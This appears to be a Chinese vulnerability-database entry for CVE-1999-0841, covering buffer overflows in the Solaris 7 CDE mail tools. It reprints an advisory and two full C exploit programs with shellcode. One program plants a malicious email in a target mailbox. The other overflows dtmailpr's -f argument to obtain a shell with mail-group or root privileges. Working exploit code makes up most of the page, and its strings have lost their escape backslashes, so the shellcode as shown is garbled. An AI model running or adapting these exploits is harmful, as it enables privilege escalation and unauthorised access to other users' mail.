Multiple Vendor CDE dtmail/mailtool缓冲区溢出漏洞

Multiple Vendor CDE dtmail/mailtool缓冲区溢出漏洞

漏洞ID 1105622 漏洞类型 缓冲区溢出
发布时间 1999-11-30 更新时间 2005-10-20
图片[1]-Multiple Vendor CDE dtmail/mailtool缓冲区溢出漏洞-安全小百科CVE编号 CVE-1999-0841
图片[2]-Multiple Vendor CDE dtmail/mailtool缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-199911-079
漏洞平台 Solaris CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19648
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199911-079
|漏洞详情
CDE邮件工具存在缓冲区溢出漏洞。本地用户可以通过一个长模拟内容类型获得根权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/832/info

here are three buffer overflow vulnerabilities in the CDE mail utilities, all of which are installed sgid mail by default.

The first is exploited through overrunning a buffer in the Content-Type: field, which would look something like this:

Content-Type: image/aaaaaaaa long 'a' aaaaaa; name="test.gif"

mailtool will overflow when email is selected which has a content-type field like that. It may be possible for an attacker to obtain root priviliges if shellcode is written appropriately and root selects the malicious email message.

The second vulnerability is in dtmail, which will crash (and possibly execute arbitrary code) if a long paramater is passed argumenting the -f command-line option.

The third is in mailpr, which is vulnerable to a long -f paramater as well.

The most basic consequence of these being exploited is a compromise of local email, since all mail data is set mode 660, read and write permissions granted for members of group mail.

As of November 30, 1999, Solaris 7 is the only known vulnerable platform.

ex_mailtool.c
-----
/*=============================================================================
   Solaris mailtool exploit for Solaris7 Intel Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN  ([email protected])
   Descripton:
     Local user can read/write any user's mailbox
   Usage:
     setenv DISPLAY yourdisply
     gcc ex_mailtool.c
     ./a.out /var/mail/[any user]
     - Choice "exploit@localhost" mail
  =============================================================================
*/

#include <stdio.h>

#define FAKEADR 96
#define FAKEOFS 0x1000
#define RETADR  84
#define RETOFS  0x1224
#define EXPADR  300
#define NOP     0x90
#define MAXBUF  2000
#define DIR     "/usr/openwin/bin"

#define HEAD 
"From exploit@localhost Fri Nov 26 00:01 JST 1999n"
"Content-Type: multipart/mixed; "
"boundary="VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA=="n"
"Content-Length: 340nn"
"--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==n"
"Content-Type: image/%s; name="test.gif"n"
"Content-Disposition: attachment;n"
" filename="test.gif"n"
"Content-Transfer-Encoding: base64nn"
"IA==nn"
"--VGh1LCAyNSBOb3YgMTk5OSAyMjozOTo1MSArMDkwMA==--nn"

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

char exploit_code[2000] =
"xebx1cx5ex33xc0x33xdbxb3x08xfexc3x2bxf3x88x06"
"x6ax06x50xb0x88x9axffxffxffxffx07xeexebx06x90"
"xe8xdfxffxffxffx55x8bxecx83xecx08xebx5dx33xc0"
"xb0x3axfexc0xebx16xc3x33xc0x40xebx10xc3x5ex33"
"xdbx89x5ex01xc6x46x05x07x88x7ex06xebx05xe8xec"
"xffxffxffx9axffxffxffxffx0fx0fxc3x5ex33xc0x89"
"x76x08x88x46x07x33xd2xb2x06x02xd2x89x04x16x50"
"x8dx46x08x50x8bx46x08x50xe8xb5xffxffxffx33xd2"
"xb2x06x02xd2x03xe2x6ax01xe8xafxffxffxffx83xc4"
"x04xe8xc9xffxffxff/tmp/xx";

main(int argc, char *argv[])
{
    static char     buf[MAXBUF];
    FILE        *fp;
    unsigned int    i,ip,sp;

    if (argc!=2){
        printf("usage : %s mailboxn",argv[0]);
        exit(1);
    }
    putenv("LANG=");
    sp=get_sp();
    system("ln -s /bin/ksh /tmp/xx");
    printf("esp  = 0x%xn",sp);
    memset(buf,NOP,MAXBUF);
    buf[MAXBUF-1]=0;

    ip=sp-FAKEOFS;
    printf("fake = 0x%xn",ip);
    buf[FAKEADR  ]=ip&0xff;
    buf[FAKEADR+1]=(ip>>8)&0xff;
    buf[FAKEADR+2]=(ip>>16)&0xff;
    buf[FAKEADR+3]=(ip>>24)&0xff;
    ip=sp-RETOFS;
    printf("eip  = 0x%xn",ip);
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;

    strncpy(buf+EXPADR,exploit_code,strlen(exploit_code));

    if ((fp=fopen(argv[1],"ab"))==NULL){
        printf("Can not write '%s'n",argv[1]);
        exit(1);
    }
    fprintf(fp,HEAD,buf);
    fclose(fp);
    printf("Exploit mail has been added.n");
    printf("Choice "exploit@localhost" mail.n");
    sprintf(buf,"cd %s; mailtool",DIR);
    system(buf);
}


ex_mailtool.c
-----
/*=============================================================================
   Solaris dtmailpr exploit for Solaris7 Intel Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN  ([email protected])
   Descripton:
     Local user can read/write any user's mailbox
  =============================================================================
*/

#include <stdio.h>

#define RETADR  1266
#define RETOFS  0x1d88
#define EXPADR  300
#define NOP 0x90
#define MAXBUF  2000

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

char exploit_code[2000] =
"xebx1cx5ex33xc0x33xdbxb3x08xfexc3x2bxf3x88x06"
"x6ax06x50xb0x88x9axffxffxffxffx07xeexebx06x90"
"xe8xdfxffxffxffx55x8bxecx83xecx08xebx5dx33xc0"
"xb0x3axfexc0xebx16xc3x33xc0x40xebx10xc3x5ex33"
"xdbx89x5ex01xc6x46x05x07x88x7ex06xebx05xe8xec"
"xffxffxffx9axffxffxffxffx0fx0fxc3x5ex33xc0x89"
"x76x08x88x46x07x33xd2xb2x06x02xd2x89x04x16x50"
"x8dx46x08x50x8bx46x08x50xe8xb5xffxffxffx33xd2"
"xb2x06x02xd2x03xe2x6ax01xe8xafxffxffxffx83xc4"
"x04xe8xc9xffxffxff/tmp/xx";

main()
{
    static char     buf[MAXBUF+1000];
    FILE        *fp;
    unsigned int    i,ip,sp;

    putenv("LANG=");
    sp=get_sp();
    system("ln -s /bin/ksh /tmp/xx");
    printf("esp  = 0x%xn",sp);
    memset(buf,NOP,MAXBUF);
    ip=sp-RETOFS;
    printf("eip  = 0x%xn",ip);
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    strncpy(buf+EXPADR,exploit_code,strlen(exploit_code));
    buf[MAXBUF-1]=0;
    execl("/usr/dt/bin/dtmailpr","dtmailpr","-f",buf,0);
}
|参考资料

来源:BID
名称:832
链接:http://www.securityfocus.com/bid/832
来源:XF
名称:cde-mailtool-bo(3732)
链接:http://xforce.iss.net/xforce/xfdb/3732
来源:BUGTRAQ
名称:19991129Solaris7dtmail/dtmailpr/mailtoolBufferOverflow
链接:http://www.security-express.com/archives/bugtraq/1999-q4/0122.html
来源:www.securiteam.com
链接:http://www.securiteam.com/exploits/3J5QQPPQ0O.html

相关推荐: Super Site Searcher远程可执行任意命令漏洞

Super Site Searcher远程可执行任意命令漏洞 漏洞ID 1106958 漏洞类型 输入验证 发布时间 2002-09-03 更新时间 2002-12-31 CVE编号 CVE-2002-2420 CNNVD-ID CNNVD-200212-30…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享